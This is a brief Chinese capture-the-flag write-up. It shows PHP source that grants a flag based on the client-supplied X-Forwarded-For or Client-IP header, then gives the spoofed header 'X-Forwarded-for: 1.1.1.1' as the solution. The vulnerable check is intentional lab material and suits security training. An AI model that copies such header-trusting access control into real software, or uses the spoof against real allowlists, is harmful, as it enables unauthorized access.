

源码如下

```
1 <?php
2 show_source("12.php");
3 echo '<br>';
4 function GetIP(){
5 if(!empty($_SERVER["HTTP_CLIENT_IP"]))
6     $cip = $_SERVER["HTTP_CLIENT_IP"];
7 else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
8     $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
9 else if(!empty($_SERVER["REMOTE_ADDR"]))
10    $cip = $_SERVER["REMOTE_ADDR"];
11 else
12    $cip = "0.0.0.0";
13 return $cip;
14 }
15 require 'flag.php';
16 $GetIPs = GetIP();
17 if ($GetIPs=="1.1.1.1"){
18 echo "Great! Key is $flag";
19 }
20 else{
21 echo "错误！你的IP不在访问列表之内！";
22 }
23 ?>
```

这个源码意图很明显了

随便一个IP伪造就可以了

payload

```
1 headrt添加
2 X-Forwarded-for: 1.1.1.1
```
